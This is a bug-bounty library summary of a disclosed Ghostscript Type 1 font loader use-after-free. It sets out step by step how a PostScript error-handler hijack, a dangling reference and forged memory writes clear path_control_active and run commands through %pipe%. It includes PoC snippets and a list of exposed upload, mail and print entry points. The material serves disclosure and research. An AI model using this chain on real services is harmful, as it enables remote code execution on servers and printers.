# How We Hacked the Pipes: Upload2Shell

Type 1 font loader use-after-free in Ghostscript's .putgstringcopy yields write-what-where, disabling -dSAFER path checks to run commands via uploads, email, and CUPS.

- Payout: Research
- Severity: high
- Program: Ghostscript
- Found by (vendor credit): Paulos Yibelo and pwn.ai, Pwn.ai
- Write-up by: GPT 5.6 Sol, working with @PaulosYibelo
- Disclosed: 2026-11-21
- CVE: CVE-2026-125396, CVE-2026-65640
- Write-up quality: 10/10
- Original: https://pwn.ai/blog/upload2shell
- Library page: https://bugbountylibrary.com/r/blog%3Apwn-ai-blog-upload2shell
- Tags: area:os domain:desktop domain:web impact:rce kind:research platform:research sev:high tech:linux tech:php technique:chained technique:source-review vuln:memory-corruption vuln:rce vuln:sandbox-escape

**Target:** Ghostscript Type 1 font loader (.putgstringcopy in Resource/Init/gs_fonts.ps) reached via ImageMagick/Pillow/CUPS delegates
**Root cause:** .putgstringcopy performs a privileged .forceput without type-checking operands; a typecheck in `copy` lets document code hijack the error handler, recover the privileged store, and plant a local object reference in a surviving global dictionary, creating a use-after-free after restore.
**Steps:**
1. Register a Type 1 font in Fontmap and load it with findfont so its loading code sees the loader's operand stack.
2. Replace the filename string on the stack with a local array; in the global-to-local branch `copy` raises typecheck because its source is an array.
3. Install an errordict /typecheck handler that pops five operands (`pop pop pop pop pop`) leaving the saved allocation-mode boolean, then pushes attacker dictionary/key/value so execution resumes at `.forceput`; setglobal consumes the boolean.
4. Use the recovered store to place a local array in systemdict (e.g. /GS_FORCEPUT_DANGLING_ARRAY), then `save`/`restore` to free it while the global reference survives.
5. Reuse the freed allocation with fresh arrays of 0x12345678 integers; scan the dangling 2,048-byte string for the marker, flip low byte 0x78→0x79, and find the overlapping live array slot.
6. Forge a string ref over currentdevice's pointer and walk ref+8→psi_device_ref+0→gx_device+24→gs_memory_t+208→gs_lib_ctx_t+8→gs_lib_ctx_core_t+156 to reach path_control_active.
7. Write four zero bytes to path_control_active (`Target 156 0 put` … `Target 159 0 put`), force-write PermitFileWriting to [(*)] and LockFilePermissions false, then use `(%pipe%...) (w) file` to execute a command.
**How found:** Followed file-processing dependencies from trusted-extension uploads into unexpected interpreters (prior ImageMagick research), then audited Ghostscript's PostScript-implemented font loading; noticed .putgstringcopy used .forceput without operand type checks and that a failing `copy` could be caught by a document-controlled errordict handler.
**Exploitation:** Attacker supplies a PostScript document with a trusted extension (.jpg/.pdf) through any upload/preview/print path that delegates to Ghostscript under -dSAFER (Imagick readImage, Pillow load/crop, CUPS gstopdf). The embedded Type 1 font triggers the UAF, the forged native write clears path_control_active and file-permission gates, and `%pipe%` runs a command as the renderer's account (www-data, lp, roundcube_sysuser).
**Escalation:** Chained interpreter memory corruption to sandbox bypass, then traced back to remote entry points: anonymous IPP Print-Job on shared CUPS queues, email attachment thumbnailing in Roundcube, public WordPress/Forminator and Elementor upload widgets, MediaWiki/DokuWiki anonymous uploads, and Google Docs/Chat/Drive/Gmail pipelines.
**Insight:** PostScript-level helpers that use privileged operators like .forceput are reachable through document-controlled errordict handlers; a typecheck mid-sequence leaves the operand stack positioned for the privileged op, and a local object stored into a surviving global dictionary becomes a UAF after restore that can be turned into a native write via ref-layout forgery.

## Proof of concept (copied exactly from the original report)

**PostScript error handler hijacking .forceput**

```
/LoaderOriginalTypecheck errordict /typecheck get def
errordict /typecheck {
 userdict /LoaderTrapPhase known
 { userdict /LoaderTrapPhase get } { false } ifelse
 {
 userdict /LoaderTrapPhase false put
 pop pop pop pop pop
 userdict /ForceTarget get
 userdict /ForceKey get
 userdict /ForceValue get
 } { LoaderOriginalTypecheck } ifelse
} bind put
```

**Dangling reference probe via save/restore**

```
/AttackSave save def
userdict /ForceValue 8 array put
userdict /ForceValue get 0 31337 put
{ /GSLoaderProbe findfont pop } stopped pop
AttackSave restore
8 array userdict exch /Replacement exch put
userdict /Replacement get 0 4242 put
systemdict /GS_FORCEPUT_DANGLING_ARRAY get 1 5151 put
userdict /Replacement get 1 get ==
```

**Native path_control_active zeroing for RCE**

```
Target 156 0 put
Target 157 0 put
Target 158 0 put
Target 159 0 put
```

